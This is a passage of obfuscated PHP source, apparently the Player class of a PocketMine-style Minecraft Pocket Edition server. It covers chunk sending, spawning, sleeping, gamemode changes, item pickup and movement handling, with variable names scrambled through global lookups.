CompoundTag();$this->server=Server::getInstance();${"GLOBALS"}["poqfiwwdwr"]="clientID";$this->lastBreak=PHP_INT_MAX;$this->ip=${${"GLOBALS"}["ckmwfex"]};$this->port=${$nmpplo};$this->clientID=${${"GLOBALS"}["poqfiwwdwr"]};$this->loaderId=Level::generateChunkLoaderId($this);$this->chunksPerTick=(int)$this->server->getProperty("chunk-sending.per-tick",4);$this->spawnThreshold=(int)$this->server->getProperty("chunk-sending.spawn-threshold",56);$this->spawnPosition=null;$this->gamemode=$this->server->getGamemode();$this->setLevel($this->server->getDefaultLevel());$this->viewDistance=$this->server->getViewDistance();$this->newPosition=new Vector3(0,0,0);$this->boundingBox=new AxisAlignedBB(0,0,0,0,0,0);$this->uuid=null;$this->rawUUID=null;$this->creationTime=microtime(true);$this->exp=0;$this->expLevel=0;$this->food=20;Entity::setHealth(20);}public function isConnected():bool{return$this->connected===true;}public function getDisplayName(){return$this->displayName;}public function setDisplayName($name){$this->displayName=${${"GLOBALS"}["qqjiqgeccbh"]};if($this->spawned){$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),$this->getSkinId(),$this->getSkinData());}}public function setSkin($str,$skinId){${"GLOBALS"}["esnsxrhkj"]="skinId";parent::setSkin(${${"GLOBALS"}["lvqgksf"]},${${"GLOBALS"}["esnsxrhkj"]});if($this->spawned){$teadskfphowl="skinId";$this->server->updatePlayerListData($this->getUniqueId(),$this->getId(),$this->getDisplayName(),${$teadskfphowl},${${"GLOBALS"}["lvqgksf"]});}}public function getAddress():string{return$this->ip;}public function getPort():int{return$this->port;}public function getNextPosition(){return$this->newPosition!==null?new Position($this->newPosition->x,$this->newPosition->y,$this->newPosition->z,$this->level):$this->getPosition();}public function isSleeping():bool{return$this->sleeping!==null;}public function getInAirTicks(){return$this->inAirTicks;}protected function switchLevel(Level$targetLevel){${"GLOBALS"}["crlukfcj"]="oldLevel";${${"GLOBALS"}["crlukfcj"]}=$this->level;if(parent::switchLevel(${${"GLOBALS"}["bpbdtlmmiipb"]})){${"GLOBALS"}["elqtapglonu"]="index";${"GLOBALS"}["gufuqtl"]="d";${"GLOBALS"}["qtzjajembs"]="pk";foreach($this->usedChunks as${${"GLOBALS"}["elqtapglonu"]}=>${${"GLOBALS"}["gufuqtl"]}){$izibdhpug="Z";Level::getXZ(${${"GLOBALS"}["uspqxtmors"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${$izibdhpug});$this->unloadChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]},${${"GLOBALS"}["fqzvbrngzs"]});}$this->usedChunks=[];${${"GLOBALS"}["qtzjajembs"]}=new SetTimePacket();$gbakurwg="pk";$pk->time=$this->level->getTime();$pk->started=$this->level->stopTime==false;$this->dataPacket(${$gbakurwg});if($targetLevel->getDimension()!=$oldLevel->getDimension()){$ngflmle="pk";$flplkkjgy="pk";${$ngflmle}=new ChangeDimensionPacket();$pk->dimension=$targetLevel->getDimension();$pk->x=$this->x;$pk->y=$this->y;$pk->z=$this->z;$this->dataPacket(${$flplkkjgy});$this->shouldSendStatus=true;}$targetLevel->getWeather()->sendWeather($this);if($this->spawned){$this->spawnToAll();}}}private function unloadChunk($x,$z,Level$level=null){${"GLOBALS"}["iwpcbtjor"]="level";${"GLOBALS"}["ygiqjih"]="x";${"GLOBALS"}["npuhkgpqsai"]="z";$wvvbgcgjvqnx="index";${"GLOBALS"}["tandkpligf"]="index";${${"GLOBALS"}["iwpcbtjor"]}=${${"GLOBALS"}["mqgpqffss"]}===null?$this->level:${${"GLOBALS"}["mqgpqffss"]};${$wvvbgcgjvqnx}=Level::chunkHash(${${"GLOBALS"}["ygiqjih"]},${${"GLOBALS"}["qdqdqtc"]});$kselbioe="index";if(isset($this->usedChunks[${${"GLOBALS"}["tandkpligf"]}])){$vxlkxgdmybl="z";$aciguaod="index";${"GLOBALS"}["kjgvhu"]="x";foreach($level->getChunkEntities(${${"GLOBALS"}["kjgvhu"]},${$vxlkxgdmybl})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this){$entity->despawnFrom($this);}}unset($this->usedChunks[${$aciguaod}]);}$level->unregisterChunkLoader($this,${${"GLOBALS"}["bfkluni"]},${${"GLOBALS"}["npuhkgpqsai"]});unset($this->loadQueue[${$kselbioe}]);}public function getSpawn():Position{if($this->spawnPosition instanceof Position and$this->spawnPosition->getLevel()instanceof Level){return$this->spawnPosition;}else{${${"GLOBALS"}["mqgpqffss"]}=$this->server->getDefaultLevel();return$level->getSafeSpawn();}}public function sendChunk($x,$z,$payload,$ordering=FullChunkDataPacket::ORDER_COLUMNS){${"GLOBALS"}["tnlfbimve"]="x";if($this->connected===false){return;}$this->usedChunks[Level::chunkHash(${${"GLOBALS"}["tnlfbimve"]},${${"GLOBALS"}["qdqdqtc"]})]=true;$this->chunkLoadCount++;if($this->getProtocol()==84){${${"GLOBALS"}["ozzywsrssq"]}=new FullChunkDataPacket();$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;if(Network::${${"GLOBALS"}["mkwzsezq"]}>=0){$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=zlib_encode(Binary::writeInt(strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$qdnyxfoysxw="batch";$batch->encode();$batch->isEncoded=true;$this->dataPacket(${$qdnyxfoysxw});}else{$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new\pocketmine\network\protocol\p70\FullChunkDataPacket();${"GLOBALS"}["hvxeexx"]="batch";$pk->chunkX=$payload->chunkX;$pk->chunkZ=$payload->chunkZ;$pk->order=$payload->order;$pk->data=$payload->data;$pk->encode();${${"GLOBALS"}["fjwhrljo"]}=new BatchPacket();$batch->payload=\zlib_encode(pack("N",\strlen($pk->getBuffer())).$pk->getBuffer(),ZLIB_ENCODING_DEFLATE,Server::getInstance()->networkCompressionLevel);$batch->encode();$batch->isEncoded=\true;$this->dataPacket(${${"GLOBALS"}["hvxeexx"]});}if($this->spawned){$rfnefexr="z";foreach($this->level->getChunkEntities(${${"GLOBALS"}["bfkluni"]},${$rfnefexr})as${${"GLOBALS"}["yiewjbrtorvu"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}}protected function sendNextChunk(){${"GLOBALS"}["evtaxbcdyofv"]="count";$crvvbsscvbo="index";if($this->connected===false){return;}Timings::$playerChunkSendTimer->startTiming();${${"GLOBALS"}["evtaxbcdyofv"]}=0;foreach($this->loadQueue as${$crvvbsscvbo}=>${${"GLOBALS"}["ribemcedxese"]}){$xpmkkeh="count";$rkgueveo="index";${"GLOBALS"}["cbkbeceoegs"]="index";$dneusdqn="Z";$rclquwkl="X";if(${${"GLOBALS"}["cfrejkkd"]}>=$this->chunksPerTick){break;}${"GLOBALS"}["xolielsoclue"]="Z";${${"GLOBALS"}["rbmfjwfncmxp"]}=null;${${"GLOBALS"}["xolielsoclue"]}=null;${"GLOBALS"}["shkzwe"]="X";Level::getXZ(${${"GLOBALS"}["cbkbeceoegs"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]});++${$xpmkkeh};$this->usedChunks[${$rkgueveo}]=false;$this->level->registerChunkLoader($this,${${"GLOBALS"}["shkzwe"]},${$dneusdqn},true);if(!$this->level->populateChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]})){if($this->spawned and$this->teleportPosition===null){continue;}else{break;}}unset($this->loadQueue[${${"GLOBALS"}["uspqxtmors"]}]);$this->level->requestChunk(${$rclquwkl},${${"GLOBALS"}["txdpmuloyj"]},$this);if((count($this->loadQueue)==0)and$this->shouldSendStatus){${"GLOBALS"}["twgnupdw"]="pk";$kjfbluiwqbn="pk";$this->shouldSendStatus=false;${${"GLOBALS"}["twgnupdw"]}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$kjfbluiwqbn});}}if($this->chunkLoadCount>=$this->spawnThreshold and$this->spawned===false and$this->teleportPosition===null){$this->doFirstSpawn();}Timings::$playerChunkSendTimer->stopTiming();}protected function doFirstSpawn(){$this->spawned=true;$cetdfjb="pk";$this->sendPotionEffects($this);$revcjod="pk";$vlrgswkipuv="index";$this->sendData($this);${"GLOBALS"}["msvefkvvev"]="pk";${"GLOBALS"}["piiuposs"]="pos";${"GLOBALS"}["dwdboecd"]="pos";${$cetdfjb}=new SetTimePacket();$zieqahudd="pos";$pk->time=$this->level->getTime();${"GLOBALS"}["hvuwtgf"]="pos";$pk->started=$this->level->stopTime==false;$this->dataPacket(${${"GLOBALS"}["msvefkvvev"]});$yvnknj="pk";$ktbexshij="c";${${"GLOBALS"}["wxoehmqbtg"]}=$this->level->getSafeSpawn($this);$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerRespawnEvent($this,${${"GLOBALS"}["dwdboecd"]}));${$zieqahudd}=$ev->getRespawnPosition();if($pos->getY()<127)${${"GLOBALS"}["hvuwtgf"]}=$pos->add(0,0.2,0);${$revcjod}=new PlayStatusPacket();$pk->status=PlayStatusPacket::PLAYER_SPAWN;$this->dataPacket(${$yvnknj});$this->noDamageTicks=60;foreach($this->usedChunks as${$vlrgswkipuv}=>${$ktbexshij}){$ubknspf="chunkX";Level::getXZ(${${"GLOBALS"}["uspqxtmors"]},${${"GLOBALS"}["uvtebnejz"]},${${"GLOBALS"}["dwjjtd"]});${"GLOBALS"}["smrvck"]="entity";foreach($this->level->getChunkEntities(${$ubknspf},${${"GLOBALS"}["dwjjtd"]})as${${"GLOBALS"}["smrvck"]}){if(${${"GLOBALS"}["yiewjbrtorvu"]}!==$this and!$entity->closed and$entity->isAlive()){$entity->spawnTo($this);}}}$this->teleport(${${"GLOBALS"}["piiuposs"]});$this->allowFlight=(($this->gamemode==3)or($this->gamemode==1));$this->setHealth($this->getHealth());$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerJoinEvent($this,new TranslationContainer(TextFormat::YELLOW."%multiplayer.player.joined",[$this->getDisplayName()])));$this->sendSettings();if(strlen(trim(${${"GLOBALS"}["hppkbcn"]}=$ev->getJoinMessage()))>0){$gtpmsxsv="msg";if($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_MESSAGE)$this->server->broadcastMessage(${$gtpmsxsv});elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_TIP)$this->server->broadcastTip(str_replace("@player",$this->getName(),$this->server->playerLoginMsg));elseif($this->server->playerMsgType===Server::PLAYER_MSG_TYPE_POPUP)$this->server->broadcastPopup(str_replace("@player",$this->getName(),$this->server->playerLoginMsg));}$this->server->onPlayerLogin($this);$this->spawnToAll();$this->level->getWeather()->sendWeather($this);if($this->server->dserverConfig["enable"]and$this->server->dserverConfig["queryAutoUpdate"]){$this->server->updateQuery();}if($this->getHealth()<=0){$dglddqnodn="pos";${${"GLOBALS"}["ozzywsrssq"]}=new RespawnPacket();${$dglddqnodn}=$this->getSpawn();$pk->x=$pos->x;$pk->y=$pos->y;$pk->z=$pos->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}$this->inventory->sendContents($this);$this->inventory->sendArmorContents($this);}protected function orderChunks(){${"GLOBALS"}["ioneuucvlu"]="viewDistance";if($this->connected===false){return false;}Timings::$playerChunkOrderTimer->startTiming();${"GLOBALS"}["jtbfgjvf"]="newOrder";$this->nextChunkOrderRun=200;${${"GLOBALS"}["ioneuucvlu"]}=$this->server->getMemoryManager()->getViewDistance($this->viewDistance);${"GLOBALS"}["omtyoiadtc"]="i";${${"GLOBALS"}["jtbfgjvf"]}=[];${${"GLOBALS"}["huqxyhbptjl"]}=$this->usedChunks;${${"GLOBALS"}["zokmuumnsf"]}=$this->x>>4;${${"GLOBALS"}["byoktfhtm"]}=$this->z>>4;${${"GLOBALS"}["tcvuwigjqw"]}=1;${${"GLOBALS"}["qxfkcywf"]}=0;${"GLOBALS"}["foouhpqf"]="newOrder";${${"GLOBALS"}["bfkluni"]}=0;${${"GLOBALS"}["qdqdqtc"]}=0;for(${${"GLOBALS"}["oilgiiu"]}=0;${${"GLOBALS"}["omtyoiadtc"]}<${${"GLOBALS"}["saxhnvcly"]};++${${"GLOBALS"}["oilgiiu"]}){${"GLOBALS"}["lrjvln"]="chunkZ";${"GLOBALS"}["yckgpvcbn"]="z";${"GLOBALS"}["fhjihnguxjhb"]="chunkZ";${"GLOBALS"}["qhiiqqcvu"]="x";$liexhvbmnf="centerZ";$pjnmpiw="z";${"GLOBALS"}["xzdmjykjct"]="layer";${"GLOBALS"}["guokjumvstf"]="leg";$ywxdvbey="index";$bmfxjtiv="x";$wocpwduivb="x";${"GLOBALS"}["kvqvtxd"]="lastChunk";${"GLOBALS"}["kyjwosmd"]="chunkX";$rrltmz="chunkX";$ggolsri="layer";${${"GLOBALS"}["kyjwosmd"]}=${$wocpwduivb}+${${"GLOBALS"}["zokmuumnsf"]};${${"GLOBALS"}["lrjvln"]}=${${"GLOBALS"}["qdqdqtc"]}+${$liexhvbmnf};${"GLOBALS"}["vnsknce"]="z";if(!isset($this->usedChunks[${${"GLOBALS"}["uspqxtmors"]}=Level::chunkHash(${$rrltmz},${${"GLOBALS"}["fhjihnguxjhb"]})])or$this->usedChunks[${${"GLOBALS"}["uspqxtmors"]}]===false){${"GLOBALS"}["yweenouqoyn"]="index";${${"GLOBALS"}["letosku"]}[${${"GLOBALS"}["yweenouqoyn"]}]=true;}unset(${${"GLOBALS"}["kvqvtxd"]}[${$ywxdvbey}]);switch(${${"GLOBALS"}["guokjumvstf"]}){case 0:++${$bmfxjtiv};if(${${"GLOBALS"}["bfkluni"]}===${$ggolsri}){++${${"GLOBALS"}["qxfkcywf"]};}break;case 1:++${${"GLOBALS"}["vnsknce"]};if(${$pjnmpiw}===${${"GLOBALS"}["tcvuwigjqw"]}){${"GLOBALS"}["jbkrthbsy"]="leg";++${${"GLOBALS"}["jbkrthbsy"]};}break;case 2:--${${"GLOBALS"}["bfkluni"]};if(-${${"GLOBALS"}["qhiiqqcvu"]}===${${"GLOBALS"}["tcvuwigjqw"]}){$knwwlivw="leg";++${$knwwlivw};}break;case 3:--${${"GLOBALS"}["yckgpvcbn"]};if(-${${"GLOBALS"}["qdqdqtc"]}===${${"GLOBALS"}["xzdmjykjct"]}){${"GLOBALS"}["ezblqoym"]="leg";${${"GLOBALS"}["ezblqoym"]}=0;++${${"GLOBALS"}["tcvuwigjqw"]};}break;}}foreach(${${"GLOBALS"}["huqxyhbptjl"]} as${${"GLOBALS"}["uspqxtmors"]}=>${${"GLOBALS"}["tbswehs"]}){$lepqiqbv="Z";${"GLOBALS"}["popwufhu"]="index";Level::getXZ(${${"GLOBALS"}["popwufhu"]},${${"GLOBALS"}["rbmfjwfncmxp"]},${${"GLOBALS"}["txdpmuloyj"]});$this->unloadChunk(${${"GLOBALS"}["rbmfjwfncmxp"]},${$lepqiqbv});}$this->loadQueue=${${"GLOBALS"}["foouhpqf"]};Timings::$playerChunkOrderTimer->stopTiming();return true;}public function batchDataPacket($packet){${"GLOBALS"}["ymntzbux"]="packet";if($this->connected===false){return false;}${"GLOBALS"}["urujmd"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["urujmd"]}=new DataPacketSendEvent($this,${${"GLOBALS"}["qebrriohj"]}));if($ev->isCancelled()){return false;}if(!isset($this->batchedPackets)){$this->batchedPackets=[];}$this->batchedPackets[]=clone${${"GLOBALS"}["ymntzbux"]};return true;}public function dataPacket($packet,$needACK=false){$qvhjwfwyff="packet";$napwsvy="packet";${"GLOBALS"}["empyfypmnxo"]="identifier";if(!$this->connected){return false;}${${"GLOBALS"}["qebrriohj"]}=AnyVersionManager::parsePacket($this,${${"GLOBALS"}["qebrriohj"]});$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new DataPacketSendEvent($this,${$qvhjwfwyff}));if($ev->isCancelled()){return false;}${${"GLOBALS"}["empyfypmnxo"]}=$this->interface->putPacket($this,${$napwsvy},${${"GLOBALS"}["wqowpxyy"]},false);if(${${"GLOBALS"}["wqowpxyy"]} and${${"GLOBALS"}["senpcvj"]}!==null){$nreihmju="identifier";$this->needACK[${${"GLOBALS"}["senpcvj"]}]=false;return${$nreihmju};}return true;}public function directDataPacket($packet,$needACK=false){${"GLOBALS"}["nyfgsxdmqcf"]="needACK";${"GLOBALS"}["szszjs"]="identifier";$qxitsyspee="packet";$jxfbmzfjw="ev";${"GLOBALS"}["uckrnaooow"]="packet";$nfowhtogal="packet";if($this->connected===false){return false;}${$nfowhtogal}=AnyVersionManager::parsePacket($this,${${"GLOBALS"}["uckrnaooow"]});$this->server->getPluginManager()->callEvent(${$jxfbmzfjw}=new DataPacketSendEvent($this,${$qxitsyspee}));if($ev->isCancelled()){return false;}${${"GLOBALS"}["senpcvj"]}=$this->interface->putPacket($this,${${"GLOBALS"}["qebrriohj"]},${${"GLOBALS"}["nyfgsxdmqcf"]},true);if(${${"GLOBALS"}["wqowpxyy"]} and${${"GLOBALS"}["szszjs"]}!==null){${"GLOBALS"}["xcchnkbliz"]="identifier";$this->needACK[${${"GLOBALS"}["xcchnkbliz"]}]=false;return${${"GLOBALS"}["senpcvj"]};}return true;}public function sleepOn(Vector3$pos){$rcebmgpkho="p";if(!$this->isOnline()){return false;}foreach($this->level->getNearbyEntities($this->boundingBox->grow(2,1,2),$this)as${$rcebmgpkho}){$rrhpbtfrfb="p";if(${$rrhpbtfrfb} instanceof Player){if($p->sleeping!==null and$pos->distance($p->sleeping)<=0.1){return false;}}}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerBedEnterEvent($this,$this->level->getBlock(${${"GLOBALS"}["wxoehmqbtg"]})));if($ev->isCancelled()){return false;}$this->sleeping=clone${${"GLOBALS"}["wxoehmqbtg"]};$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[$pos->x,$pos->y,$pos->z]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,true);$this->setSpawn(${${"GLOBALS"}["wxoehmqbtg"]});$this->level->sleepTicks=60;return true;}public function setSpawn(Vector3$pos){${"GLOBALS"}["rrhxghubzny"]="pos";if(!(${${"GLOBALS"}["rrhxghubzny"]} instanceof Position)){$fmhtiictdl="level";${$fmhtiictdl}=$this->level;}else{${${"GLOBALS"}["mqgpqffss"]}=$pos->getLevel();}$this->spawnPosition=new Position($pos->x,$pos->y,$pos->z,${${"GLOBALS"}["mqgpqffss"]});${${"GLOBALS"}["ozzywsrssq"]}=new SetSpawnPositionPacket();$pk->x=(int)$this->spawnPosition->x;$pk->y=(int)$this->spawnPosition->y;$pk->z=(int)$this->spawnPosition->z;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}public function stopSleep(){if($this->sleeping instanceof Vector3){${"GLOBALS"}["kcuopzi"]="pk";${"GLOBALS"}["mfjofvv"]="ev";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["mfjofvv"]}=new PlayerBedLeaveEvent($this,$this->level->getBlock($this->sleeping)));$this->sleeping=null;$this->setDataProperty(self::DATA_PLAYER_BED_POSITION,self::DATA_TYPE_POS,[0,0,0]);$this->setDataFlag(self::DATA_PLAYER_FLAGS,self::DATA_PLAYER_FLAG_SLEEP,false);$this->level->sleepTicks=0;${${"GLOBALS"}["kcuopzi"]}=new AnimatePacket();$pk->eid=0;$pk->action=PlayerAnimationEvent::WAKE_UP;$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});}}public function getGamemode():int{return$this->gamemode;}public function setGamemode(int$gm){${"GLOBALS"}["nckocyzblf"]="gm";$iohonuo="gm";if(${$iohonuo}<0 or${${"GLOBALS"}["nckocyzblf"]}>3 or$this->gamemode===${${"GLOBALS"}["jdfbduzetjp"]}){return false;}$hnbtahj="pk";$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new PlayerGameModeChangeEvent($this,${${"GLOBALS"}["jdfbduzetjp"]}));${"GLOBALS"}["hrmqiilbam"]="pk";if($ev->isCancelled()){return false;}if($this->server->autoClearInv){$this->inventory->clearAll();}$this->gamemode=${${"GLOBALS"}["jdfbduzetjp"]};$this->allowFlight=$this->isCreative();if($this->isSpectator()){$this->despawnFromAll();}else{$this->spawnToAll();}$this->namedtag->playerGameType=new IntTag("playerGameType",$this->gamemode);${$hnbtahj}=new SetPlayerGameTypePacket();$pk->gamemode=$this->gamemode&0x01;$this->dataPacket(${${"GLOBALS"}["hrmqiilbam"]});$this->sendSettings();if($this->gamemode===Player::SPECTATOR){$qoctadsel="pk";${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$this->dataPacket(${$qoctadsel});}else{if(AnyVersionManager::isProtocol($this,"0.15")){$bcggigyor="pk";${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getCreativeItems(),$this->personalCreativeItems);$this->dataPacket(${$bcggigyor});}else if(AnyVersionManager::isProtocol($this,"0.14")){${${"GLOBALS"}["ozzywsrssq"]}=new ContainerSetContentPacket();$pk->windowid=ContainerSetContentPacket::SPECIAL_CREATIVE;$pk->slots=array_merge(Item::getp70CreativeItems(),$this->personalCreativeItems);$vxgwntjeu="pk";$this->dataPacket(${$vxgwntjeu});}}$this->inventory->sendContents($this);$this->inventory->sendContents($this->getViewers());$this->inventory->sendHeldItem($this->hasSpawned);return true;}public function sendSettings(){${${"GLOBALS"}["drylubndbbyo"]}=0;if($this->isAdventure()){$fvpixxk="flags";${$fvpixxk}|=0x01;}if($this->autoJump){${${"GLOBALS"}["drylubndbbyo"]}|=0x40;}if($this->allowFlight){${${"GLOBALS"}["drylubndbbyo"]}|=0x80;}$imfzsfjxl="flags";${"GLOBALS"}["mcexgnbpth"]="pk";if($this->isSpectator()){${${"GLOBALS"}["drylubndbbyo"]}|=0x100;}${$imfzsfjxl}|=0x02;${${"GLOBALS"}["drylubndbbyo"]}|=0x04;${${"GLOBALS"}["drylubndbbyo"]}|=0x08;${${"GLOBALS"}["ozzywsrssq"]}=new AdventureSettingsPacket();$pk->flags=${${"GLOBALS"}["drylubndbbyo"]};$pk->userPermission=2;$pk->globalPermission=2;$this->dataPacket(${${"GLOBALS"}["mcexgnbpth"]});}public function isSurvival():bool{return($this->gamemode&0x01)===0;}public function isCreative():bool{return($this->gamemode&0x01)>0;}public function isSpectator():bool{return$this->gamemode===3;}public function isAdventure():bool{return($this->gamemode&0x02)>0;}public function getDrops():array{if(!$this->isCreative()){return parent::getDrops();}return[];}public function setDataProperty($id,$type,$value){if(parent::setDataProperty(${${"GLOBALS"}["fueouqcqi"]},${${"GLOBALS"}["xydwvsmhpur"]},${${"GLOBALS"}["lalxhrpdciqp"]})){${"GLOBALS"}["lhyxwiw"]="id";$this->sendData($this,[${${"GLOBALS"}["fueouqcqi"]}=>$this->dataProperties[${${"GLOBALS"}["lhyxwiw"]}]]);return true;}return false;}protected function checkGroundState($movX,$movY,$movZ,$dx,$dy,$dz){$dnigfi="movY";if(!$this->onGround or${$dnigfi}!=0){${"GLOBALS"}["qbjykc"]="bb";${${"GLOBALS"}["qbjykc"]}=clone$this->boundingBox;$bb->maxY=$bb->minY+0.5;$fossryu="bb";$bb->minY-=1;if(count($this->level->getCollisionBlocks(${$fossryu},true))>0){$this->onGround=true;}else{$this->onGround=false;}}$this->isCollided=$this->onGround;}protected function checkBlockCollision(){${"GLOBALS"}["jrhaostdo"]="blocksaround";foreach(${${"GLOBALS"}["jrhaostdo"]}=$this->getBlocksAround()as${${"GLOBALS"}["raioovemq"]}){$block->onEntityCollide($this);if($this->getServer()->redstoneEnabled){${"GLOBALS"}["ryyufvxwexs"]="block";if(${${"GLOBALS"}["ryyufvxwexs"]} instanceof PressurePlate){$this->activatedPressurePlates[Level::blockHash($block->x,$block->y,$block->z)]=${${"GLOBALS"}["raioovemq"]};}}}if($this->getServer()->redstoneEnabled){${"GLOBALS"}["nhfxtpdoviez"]="block";$fuymovqsea="key";foreach($this->activatedPressurePlates as${$fuymovqsea}=>${${"GLOBALS"}["nhfxtpdoviez"]}){${"GLOBALS"}["seqerp"]="key";$rurqverhgx="blocksaround";if(!isset(${$rurqverhgx}[${${"GLOBALS"}["seqerp"]}]))$block->checkActivation();}}}protected function checkNearEntities($tickDiff){${"GLOBALS"}["mhvtmbae"]="entity";foreach($this->level->getNearbyEntities($this->boundingBox->grow(0.5,0.5,0.5),$this)as${${"GLOBALS"}["mhvtmbae"]}){$entity->scheduleUpdate();if(!$entity->isAlive()){continue;}$zbqevyq="entity";if(${${"GLOBALS"}["yiewjbrtorvu"]} instanceof Arrow and$entity->hadCollision){$hcwuyvh="pk";${${"GLOBALS"}["fohexunnbe"]}=Item::get(Item::ARROW,$entity->getPotionId(),1);${${"GLOBALS"}["swmvqygzd"]}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"GLOBALS"}["boiovlp"]="item";$wcslskv="item";if(!$this->getFloatingInventory()->canAddItem(${$wcslskv})or!$this->inventory->canAddItem(${${"GLOBALS"}["boiovlp"]})){continue;}${${"GLOBALS"}["swmvqygzd"]}=true;}$this->server->getPluginManager()->callEvent(${${"GLOBALS"}["qcfzvl"]}=new InventoryPickupArrowEvent($this->inventory,${${"GLOBALS"}["yiewjbrtorvu"]}));if($ev->isCancelled()){continue;}${${"GLOBALS"}["ozzywsrssq"]}=new TakeItemEntityPacket();${"GLOBALS"}["fghrqnn"]="pk";$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});${$hcwuyvh}=new TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"GLOBALS"}["fghrqnn"]});${"GLOBALS"}["xbrzjsr"]="add";if(${${"GLOBALS"}["xbrzjsr"]}){$this->getFloatingInventory()->addItem(clone${${"GLOBALS"}["fohexunnbe"]});}$entity->kill();}elseif(${$zbqevyq} instanceof DroppedItem){if($entity->getPickupDelay()<=0){${${"GLOBALS"}["fohexunnbe"]}=$entity->getItem();$benupwcfiq="item";if(${$benupwcfiq} instanceof Item){$omiogq="add";$exkipxejkm="ev";${"GLOBALS"}["jlsduwqh"]="entity";${$omiogq}=false;if(!$this->server->allowInventoryCheats and!$this->isCreative()){${"GLOBALS"}["lqxklh"]="item";${"GLOBALS"}["cnebgqwff"]="add";if(!$this->getFloatingInventory()->canAddItem(${${"GLOBALS"}["fohexunnbe"]})or!$this->inventory->canAddItem(${${"GLOBALS"}["lqxklh"]})){continue;}${${"GLOBALS"}["cnebgqwff"]}=true;}$this->server->getPluginManager()->callEvent(${$exkipxejkm}=new InventoryPickupItemEvent($this->inventory,${${"GLOBALS"}["jlsduwqh"]}));$rxwekygvyg="add";$umktvsxmm="pk";if($ev->isCancelled()){continue;}${$umktvsxmm}=new TakeItemEntityPacket();$pk->eid=$this->getId();$pk->target=$entity->getId();Server::broadcastPacket($entity->getViewers(),${${"GLOBALS"}["ozzywsrssq"]});${${"GLOBALS"}["ozzywsrssq"]}=new TakeItemEntityPacket();$pk->eid=0;$pk->target=$entity->getId();$this->dataPacket(${${"GLOBALS"}["ozzywsrssq"]});if(${$rxwekygvyg}){$this->getFloatingInventory()->addItem(clone${${"GLOBALS"}["fohexunnbe"]});}$entity->kill();}}}}}protected function processMovement($tickDiff){$alpwytyymm="from";$tojphkhx="revert";if(!$this->isAlive()or!$this->spawned or$this->newPosition===null or$this->teleportPosition!==null){$this->setMoving(false);return;}${"GLOBALS"}["lsbbnmyiscw"]="revert";${"GLOBALS"}["homsqu"]="delta";$rpgogch="distanceSquared";$pbeibvvrsum="revert";${${"GLOBALS"}["bkghbqddjuht"]}=$this->newPosition;${$rpgogch}=$newPos->distanceSquared($this);${$tojphkhx}=false;$kufrhrwnyrr="delta";$dpoqegtd="to";if($this->server->checkMovement){${"GLOBALS"}["txexcezg"]="tickDiff";$coixftfsdp="distanceSquared";if((${$coixftfsdp}/(${${"GLOBALS"}["txexcezg"]}**2))>200){${"GLOBALS"}["beguliqxmgl"]="revert";${${"GLOBALS"}["beguliqxmgl"]}=true;}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"GLOBALS"}["zblhoo"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"GLOBALS"}["zblhoo"]}===null or!$chunk->isGenerated()){${${"GLOBALS"}["rtkvnyyhk"]}=true;$this->nextChunkOrderRun=0;}else{${"GLOBALS"}["bhjkftpclofn"]="chunk";if($this->chunk!==null){$this->chunk->removeEntity($this);}$this->chunk=${${"GLOBALS"}["bhjkftpclofn"]};}}}}else{if($this->chunk===null or!$this->chunk->isGenerated()){${${"GLOBALS"}["zblhoo"]}=$this->level->getChunk($newPos->x>>4,$newPos->z>>4,false);if(${${"GLOBALS"}["zblhoo"]}===null 